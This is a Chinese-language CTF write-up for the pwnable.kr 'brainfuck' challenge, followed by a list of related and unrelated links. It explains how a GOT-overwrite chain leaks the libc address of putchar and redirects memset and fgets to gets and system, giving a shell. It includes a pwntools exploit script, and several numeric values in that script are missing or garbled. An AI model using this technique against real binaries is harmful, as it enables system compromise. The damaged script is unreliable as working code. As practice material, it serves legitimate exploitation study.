pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr
补充一下知识,什么是brainfuck呢?
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。


接下来我们来看程序,首先看main函数:
点进去看一下brainfuck函数:

大致可分析得到程序的思路是:
fget输入,根据输入的内容对应相应的字符并执行。
补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html
题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中

bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。
下面我们分析解题思路 :

首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。

所以只能从用户输入入手:

将menset覆写为gets,从stdin中读入
"/bin/sh\0"将fgets覆写为system,执行
system("/bin/sh\0")获取shell
这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。
整体思路:
泄露putchar函数真实地址
根据题目给的libc计算其他函数真实地址
覆写GOT表中putchar函数为main函数地址
覆写GOT表中fgets函数为system函数地址
覆写GOT表中memset函数为gets函数地址
返回main函数,getshell
所以exp如下:别人的exp我做些分析
from pwn import *
context(os='linux', arch='i386', log_level='debug') DEBUG =
if DEBUG:
p = process('./bf')
libc = ELF('/usr/lib32/libc.so.6')
else:
p = remote('pwnable.kr', )
libc = ELF('./bf_libc.so') def main():
#pwnlib.gdb.attach(p)
p.recvuntil(']') put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
payload = '.' 输出指针指向的位置
payload += '<' * put_char_offset 指针put_char_offset减1
payload += '.>' * 4 输出指针位置加4的位置
payload += '<,' * # write put_char 输入内容到putchar的位置
payload += '<' * 4 指向memset的位置
payload += ',>' * # write memset 输入内容到memset位置后返回到Putchar
payload += '<' * (0x2c - 0x10 + ) 指针指向fget的位置
payload += ',>' * # write fgets 向fget输入后指针位置+4
payload += '.' * (0x400 - len(payload) - )
p.send(payload)
p.recv()
if DEBUG:
leak = p.recv()[:]
else:
p.recv()
leak = p.recv() log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak))) putchar_pos = u32(leak)
libc_base = putchar_pos - libc.symbols['putchar']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671 log.info("libc base at:" + hex(libc_base)) packed_gadget_pos = p32(0x08048671) # write put char
for x in (packed_gadget_pos[::-]):
p.send(x) # write memset
for x in p32(gets_addr):
p.send(x)
#write fgets
for x in p32(system_addr):
p.send(x) p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload) p.interactive() if __name__ == '__main__':
main()
pwnable.kr brainfuck之write up的更多相关文章
- 【pwnable.kr】 brainfuck
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...
- pwnable.kr之brainf*ck
pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
随机推荐
- nopCommerce 3.9 大波浪系列 之 引擎 NopEngine
本章涉及到的内容如下 1.EngineContext初始化IEngine实例 2.Autofac依赖注入初始化 3.AutoMapper框架初始化 4.启动任务初始化 一.EngineContext初 ...
- maven-编译速度优化
故障描述: 公司搭建了一个新jenkins持续集成环境,jenkins构建job时间越来越长. 原因分析: 系统CPU限制:判断依据,构建中查看日志 tail -f /var/log/messages ...
- js一些重点知识总结(一)
1.javaScript与java的区别?(从它们的解释,运行等方面说) 第一,javascript是基于对象的,而java是面向对象,即java是一种真正的面向对象的语言,即使是开发简单的程序, ...
- wampserver集成包的配置
1.修改www/index.php 修改如下: $projectContents .= '<li><a href="'; ...
- [补档]happiness
happiness 题目 传送门:http://cogs.pro/cogs/problem/problem.php?pid=1873 高一一班的座位表是个n×m的矩阵,经过一个学期的相处,每个同学和前 ...
- 47. leetcode 437. Path Sum III
437. Path Sum III You are given a binary tree in which each node contains an integer value. Find the ...
- jsp页面中某个src,如某个iframe的src,应该填写什么?可以是html、jsp、servlet、action吗?是如何加载的?
jsp页面中某个src,如某个iframe的src,应该填写什么?可以是html.jsp.servlet.action吗?是如何加载的? 如有个test工程,其某个jsp中有个iframe,代码如下: ...
- CentOS上javaweb开发环境搭建
CentOS上javaweb开发环境搭建 安装jdk yum list java* yum install java-1.7.0-openjdk* -y java -version 安装tomcat ...
- java学习笔记随记
12月21日 其中1 2 是赋值 Source----format 格式化调整代码 shift+ctrl+F Ctrl +d 删除行 代码规范, 首字母大写 System.out.println其中 ...
- angularJS实战(一)
angular实现列表 accessCtrl.js let AccessCtrl = function($scope, AlertService, DialogService, BigDataServ ...
